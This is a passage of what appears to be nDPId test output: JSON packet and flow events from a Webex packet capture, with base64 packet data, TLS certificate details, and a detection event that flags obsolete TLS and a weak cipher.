+00412{"flow_id":45,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1561,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":249861,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/ZAABAGIUhOLu1bCggAAQBQ6WyUIsz0a903cVAR\/\/98HgAA"} +05678{"flow_id":56,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1562,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":300724,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rA\/dAABAGLqg+beB4CggAAQG7x\/r74bC+BB5PglAY\/\/87kQAAFgMBDz4CAAAtAwFWGmZ5tsqn+YAQZXvK+RxU4fExf6dY82QyqwsxQ76ZVQAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01113{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1562,"source":"webex.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":6,"flow_first_seen":1444570738415,"flow_last_seen":1444570740300,"flow_tot_l4_data_len":4110,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":685,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51194,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00408{"flow_id":56,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1563,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":301052,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAopaFAAEAGbEAKCAABPm3geMf6AbsEHk+C++HAAVAQTE9hXQAA"} +00851{"flow_id":56,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1564,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":351829,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFupaJAAEAGavkKCAABPm3geMf6AbsEHk+C++HAAVAYTE+z5QAAFgMBAQYQAAECAQATAu9JlSz2mcBnZF6FyDc4l5o7MmSm75vaOWMxu6J\/xXqUWdERh1j55WiYOkmYsMbV6S1x837iYkFuSJxKmaHeWMvHGlorqANUqgqRUA\/8pvykXicX6ayIp5ANf7G+9nkXqwdwx4HAH\/BwLHizsvIhJlIXkd65DMZ5N1WqBy4JfSsGkYkC0XemW589pxubQbilumEFDfNkogY1lB8CMuQdf3LiCxZchU74i1w6NjXFhit6TTZBwpAcP8CuFNWLL2n9HT6bQf3JeQiGLpyTVG4iOmrsX6jRQKlqvvePpRZWJDUTOHuQaL+8SXK1QLrt\/BNu8p2lAKfXfRownjty9wuqFAMBAAEBFgMBADDuNh9IWMmDPtrCDmmT81sajsGqsm3XvIxN2aFX5es+KtJpI3hDQkVEiz1Kr06p49Q="} +00412{"flow_id":56,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1565,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":352317,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/hAABAGPeo+beB4CggAAQG7x\/r74cABBB5QyFAQ\/\/+sZgAA"} +00497{"flow_id":56,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1566,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":503971,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjA\/lAABAGPa4+beB4CggAAQG7x\/r74cABBB5QyFAY\/\/8nPgAAFAMBAAEBFgMBADDK0wKzAT\/lCZNSSV48d2pcoOSD8nO01Zt\/Htn6cdig73JeYwqih0S0gJ9xocT2WO4="} +01051{"flow_id":56,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1567,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":554660,"pkt_caplen":528,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":528,"pkt_l4_len":494,"pkt":"ABoRAAACABoRAAABCABFAAICpaNAAEAGamQKCAABPm3geMf6AbsEHlDI++HAPFAYTE+gEwAAFwMBACCANOtScmVfM3hGcLhEsblWq8pZ32WHzYv9L+PS5GfU0BcDAQGwZUs5KYT4mXypwGe8uV1bbrd7Emy041WnAEapWejGeReLIXP0jU6b4AuJEkidK6RWzclIX25E6kTCfdp83W12Zk+bO+1WznQGo7zHA4iHU+ZXXxt7S65xKlclXa5XXqykBp1wxwsEulI1MlvDiPOSiaGBVN0LvfeJr2DESBF1mkQta5Wnuu32ep3zKbCdfYwPJh+BlPM0fETJgii4sVg7EPc3zKKpUdzHrGXk5DJCKrKeZqbmBnu\/ULYUGLM4EA2GRlEVFSjgnPPZkHRtxR7ifccjACBxg2KndYpcpyQXMtZtWYRd9Z5EU0BTTskcKzWnqDnfzO\/2dLoLIRhtmkBeWDPbVoqNp8IyZ1S5N3IsbBBOkmFZBIcnHt2hfXRmoe8B8SX18NgYn9XAox7Yvj0ANjwHpfOFy1R+DKx5rHYC4XTHRrOlrlm5W1+rRC6\/sYUx\/zPCn+f0kj07+RZUvW14d7912JSCs9i4sYRYIkJ5tSgyVxsgCV7zFBFjLqs9pAl4xvLmEoL5Us1Q3U\/YLaKrYO\/DwU\/yyk+tbjOaVYmdOrg37vVbo1KkSxlat5L7JDrl"} +00413{"flow_id":56,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1568,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":555188,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/pAABAGPeg+beB4CggAAQG7x\/r74cA8BB5SolAQ\/\/+qUQAA"} +00637{"flow_id":56,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1569,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":706421,"pkt_caplen":219,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":219,"pkt_l4_len":185,"pkt":"ABoRAAACABoRAAABCABFAADNA\/tAABAGPUI+beB4CggAAQG7x\/r74cA8BB5SolAY\/\/+2rwAAFwMBAKD59UDZ7S7geJrVoYTOnjjAElM7mgEB5SfOzss2AtHnIjs7wJRjidoZeLKCsZK3Kzs5xW13JL+ljy2vDIr\/MQmdsFHjUqVYXgzVTVCkmtV8WnZlS3Vb17A2+NAprTG7USXVPvkyuUIRRNg3TVuSGRd3HbKWs4zo22fg7N+B9r+UJZyyPOKqBA1GZbAHLaPDnooAlMupSDk92KNoV3z+SqJ4"} +00409{"flow_id":56,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1570,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":757122,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAopaRAAEAGbD0KCAABPm3geMf6AbsEHlKi++HA4VAQatU+1wAA"} +12191{"flow_id":56,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1571,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570741,"pkt_ts_usec":261271,"pkt_caplen":8739,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":8739,"pkt_l4_len":8705,"pkt":"ABoRAAACABoRAAABCABFACIVA\/xAABAGG\/k+beB4CggAAQG7x\/r74cDhBB5SolAY\/\/82VAAAFwMBA8DFCTPOqzHwefYO9IhXr6OycdJGxl9DrzQx7TPYR+5D0QIOdbKIQnT70cPdijZrY60a86ffRhoATUhUhmwVqJbbVptIwtp4kvlQc6BxvAR3T6EO7nu1H+Cnlfy\/aSn0jlc5gDRFdzjDVuqJ5QZYNQpcf7Op5wDmxG\/cGTQ+KdLz8uFCL1MAmL7GrXw6soCUITfjQRwx4qSXRD7\/AyAIjhrwPKX9BtFOJVIhWMWLXtGo+bqwBKhVidPVQiwqFmrlyKAu9Sh2BW9N71u284Y8PJSYOxpcHUyHqCdGUDzViDtJVmahEy7qiSCSMtgmuRbkxYkwBS930S1Q074Bpkev1um645QUG02+88BRWeVZf+XphGor+qT54lnjHHPN\/FA3s6GMy2X1YRbCehewPowO8B6mC0mqmqEPG5ePujfTSNt7mbyBR8haGUDyp9VXTvZTd9aLAgwqLgVSgGZkizR+XFrKBKBO1TANRAh6\/sxU5hoo8x3FpueO42Jkg9bn3srQhK14KuTCvXjnOqYFoUKchLTKCBRdnwFYIId7OIEYpV57dk9ujYQGopw1y6SlI\/lKmLbVypKTByPUk2vIBesX4hlFB+fuvd9IXmk71D4vhG3sOvI3LV0vwz8yxir2VzBVbMq7x2osfpDTQei1T7Kh+SvQuKWsD7VLgADhbnVXtdJar3hT23RCnKpB8b0BhtZLPpKAZVgDJkPeK\/bMzbDFpW2cDtjPLqqrFOu1YtlU709XWlxxwW6S\/oXWOaRHO1XT0aRo8LKbtzMAvGbldj2rwUcnpOuAKPmESQ7fd0slunZXgyar0jdF4YT8Tiip+f\/efvpv+y73zK3eJ+RP\/xiAedxSVwmXW9e74jhjYhm+0P7otEZ6fWopLe0cEj+rW4xO0A6zmTLx+Y2M9ohomP+X\/ezgpDzB8I7Zap7FrxsGlSLAvwNHtX4WYu0sAeNfBOQP\/Xbl4H08DP1lGA7coPwae8RL0BtckiIcgP1eXF2dRzJETME07tPHp+tcpR0Ge3VaEFH1Qh7juQLkSVuTsXHYVQIk2ARHEquyvtHMpF+k2GZJDbuEwwvDXvUt0kx7WusonzvQR3ilNakYRrUmP4m\/y3inqVuBXiXPojpihmbrRYvDTxp8aFnCyLBD+4UudbNOTqA21FGiferbFljS4nJOyZ+\/L8tMJAdLDjbsojYZbqbFcXRas3rDliHRvuklu+zvjcUpimDzI1xEQNTSlyH7\/vZZj\/onFT1qPlAwhdK1abHRZTkUvSdYZK0VWve9J1pr\/W8XAwEAkNi411iQFkFYC1KpEPslN0Rq3AZTauftU0I2nfn3JJzv1tjP+UMG5O4ZQEJikGPqavG\/Cjl9XQJi7R4KHJNlc89Ehhuin1YLVtmaqBPDBwCeib6B\/Js4yaNtGBIIfA2BEqTn+zDkU2usRQMZNV5ZUoM2DKUuB1LwjyQ1pfy4w3u\/+H6pB+\/5oY85lj42IFrX6hcDAQBwA6+ZllICNLIYqudd6LnzQzO5vZMvavoO8gNeyfTP+O2TNyPOuHuf9ojNmlZq8+IQ+TGZ0fN8ndel7SA9gUuvvHui3AObULuaFAc8Jf0hVWll++5Dd3VH6rqn6Aezt7kgWAQbbBnNgnWa3OdoSWW1BBcDAQVg7Lb1JcqrwNT6xvkeBAHh\/hN7djvs4KyVjydiL1Wu\/pFKydj\/pydJkY6YcrhaCq0+uP5DSyCKGMjvOJM\/B05PMa\/d6ug9QynNE9IIk6ABU2coZim4xt7TU\/7mSHuQmSYFaHxyKp1zFYgTqQN2amxZmir5vm0M4t3V8TlzNXMhI3yExAj4UW2qlseL24V9ZFbb5cNZCT7BwSp3LwFLnvPn9IUvcnfgHi4G3ZgP1AIFUj4EvzJltMjbp5k6DQ3lBs65TEcTavZIrYa7mkFXf1Fml4qzZFGl9iWoSGOIRh4XHRV6onhR20SD8yGwythnz9fiiafXn1aF2soWuGwmReSWWLMp9C7C55sBXOrVMsMFQofRH54pvfHP4cUksbMJYLEefHowVK0UWQEHsgJYZi\/7QuQBPNGjRTaYNM2ac5Si\/r+yeHXuh57iACOZ69SiMcOCVnhofkBWzx5oq5G+uJ47crOUddlLPHnP1DTIhQx+2o62cZgWNhPLWqYSsmjXntCVAKTqyEwqgenOy\/x+OrFV7wLOsGcSbrXD3n8FTZYNY7nK5gBmMXiN0KCSgmeqQRL9uKdt0PWc4Gpad3Kwon\/A66BxDFU7qHU4+5H0O9nogl2GQeeRL9wC4vHLUgQMWIqxBSj7joNbsiCEAdFlorBI5JoGS0yFbARFc+bT+Egl3Kwm62m2HWrM8YW1EsaV9BSCDTscqD8\/iWhH\/6LLLgtij\/NUDZQaeyF5\/mofnuayDAsqRaUzuWTbKoC7dqEFjw8EHFUjwldO6aN54JN7vGdmLVCNXIBCva\/FdA+FRBUlttuYvsbqg0xbu3c0N90\/7\/7xCL8yn5+Nfb77o\/LOt4ryiv4eGp2S9OQlPpMftEb8lMdu3Cprlx8YWXTsmWlSXX\/RB+cFUP\/o\/IyuEEhOIpdFGhlfvG6ZqCcqVrrh1IQXSaUN9iRc3R6L81nLxFHs6\/sjMUv8+euHyocu9Lvu8\/1naIk6oAdk+MQsvJhLZyzk5YnUHizhYyyh5Nkj2+1Rr1N13uphu9K5jFMAs3c9hKactfTQ1nwsdGlhPirovhC\/GQPu6WuhcZr71nynvcJG3xcqiPYmUUa7h5ZdF2+z7vsI9Z8\/NYNKQrjnj9KX0CU9RWY+n7u\/+90NA\/II2YdUcve2LgAyfdF4JBD8\/DXsiCOcR5lyY5ts6ZFQdFP2slvwDrWaKEaeWbJsK\/fDvKaqnMrkXqi10m7lt6Ziarw6rVyBFmkYy6qzuwR3v5bulTeEXcl3jcmwlmTJzfvIrdiwDn9Uz9091sz24BLoX7CUh76QnMpMn\/z23d5PwsLHoG9\/cINkcD7+ZVBjuFvgrhuowWg4fSdgx9m2Ow\/9UEwODiOs7SSTSMcCCZ+ez3IanpDDx7W98OLFKHgAmcqavSmyJXdP6mvUgxF114\/jIi8qjdwBT8Oer50BfzfPMyEFnmqEGpNbUDwf0qS\/qzMoJxM2vt411Z3EqWJSc4jjEry846kiFJPkgztpVak1GXaNDWXutXky+gG\/PW\/xmGExsvHMwxanpv2dTw79q1DecdGLdbvxUWge686Yv2\/mwyUgagHAZ6srcmr+Z7Vx0DM1F8MVBdsGhq2w5SQeHiUnTg\/K3Og2uSjGrwu4k4Eep1CfYTcQXx6Mm4u01mB\/SOEa4iEKKuHDD+ENPUZeltQcLPp8Myq+jq39k60D95NYdiKV6MFw+Qf7P+aDiHf9vHHYHfGkVM8MWZTWZcsanzsgAd9Y5Es7XQyzNNOIXk+a5xJs1VRHlVgeSS7n4+bdTHhueX34ZQfEAVlcEkgw4ghOazh2s\/GBExA0KFXUYDmb1temqca4BSYXAwEFYNeQA1Amz7L1rzXo3zwpLwXGFCMYG38r+wWI1Pw1FIW\/tuFms\/l4VDIzJ4hUEVkmJHn\/maLf4OfIEbXAP3Yj3VyQn0gifCDr6yrUlzTImU\/n9LgwUo3BI91s8laFzAh9QndCoH13rjABj0S7SsFVmLYo7BkPeASkDGOZwZeVCvsTCoJ0537I8dBUFz0q348Skw0bvOiDHnaJuIPpPh7KV8kHHsgWxuZTEvkf4YZOhodQOJOTfsDiZTf1TiPtlRJOAVTXJz6XMPc98AEOllLji9euCAtO5Gz+0S9kSsCS\/XqcYeB1j0auHx\/b6YgQ6HkHbHK8hRWbiTSTroR7rTwHVZJG8jWEfhMHjbgrBcd231La6ireUD1FCfYfXLAqgmLeP1RbgmijDCFvgRWd5oJCdFomJ57\/VZsQNTtRka0cpiic4FqJRYCm4v1z9E\/g8+DeWm\/vGBHrZEDMKR4Gslauug\/TXTaK9bTax3JvcqF1kKGwGjnrvnBNK2uVCe5Sc3xE+fMcoQCAG9M6m96e4yV4VzQ1Oi8r0UxjYqzM\/Zpf+KN+QxrTJ0Fu55gkpjzQd0ikM1RDfB\/nK7hQ0KvrjTP4i5euhF6PN\/xKqJkbiLRMTuzkY1tiZSyKuaLY5wubOh5u1kfdClpTFlbO2UHhZ+FOxS5w27UQ6RJrYYRlgn27IS5KxlydzYobRXoUF0bgCAg5Eg7zH8vPREHuJvx\/oolzM8C6bH1VIpT5v+vrxLnrb8E2W4miZuZaeq5RrzVE6HRJyV7y1yoNDkeHY6JVltLiRtVB5cTzuNUz3QUHLUZkG3Ic2okiUVSsAkwUmOCzEuB2fZp4q51Oq407YXlwgEYWqyQhsc3pgj2vtCAh6QVXHZXBITzz01RjeHwzJfUgNP4xQ+WZp6XeYYSszB+2F7JqAgJs2TGIC5T3QQdD1Jm1mW68nEcMDg6q7tY2eaqp3LtoLUII7kI++P471z9aV1YKecsZZjAYjDZX+7pbqC+IR0WltOVRFtA3H5KQ\/KoRxgr3TD5fkcFdGA0RWrGttrCvIZ5i2YXWLODtTPITrOR\/yYfsFYJdJBhay\/y7ZDB2mj8Y34T0Ik0vUs8PUwW54Q4hBlBq6KekUmgwL3tiP9KxRt4XNk9iMaWcsS0pYENanKfYoa7JCrRXxmt+jFE\/6woYQxe3qG5O\/0U0R\/ZVEENVZyvfaxh5gaAzzOb0JHt91IVjprRvfpCvxukai3VHsDSZRcn69qeRhKU0N6++kqOIe3rwVRNKB9YZBkEjecbUc7Eh0Mj1TsJe2D9N+9Gv1ExxueKlesmPPZBCmNZSMo0AE1DSXXbKGSHWbyJbTEru3zvJipiIuUlskEJFvBEtuH+yFTjLksyh28CYZlnAboOVCf7BRl8ZF2WA1zw5bd5nZUoe1oMZMQhKckEFFrGIsZz+T5pJdyBTVCaC84bgn3eoRB++Lv\/4e6M9PyvGFoYYg6CyykA4ryrhKsTdd0fkALMM32msGKLqQ0PV4o8NqoWeraJCfLNojnG48scWkah9a\/G1n\/5XT9tnWe6UKSpqWSivu0aE+BOvyHQisWcBCwWBCRemUhE6OGFygMDtjl5\/84EFaK44VMf8TookbNeN\/drvO\/XqtePlhACLd8RmE7vz2fVj\/UIm1BykuYuXhy5NW2nndr89\/H+R8JOrOuuOFxTXynBwXqbnmDa2\/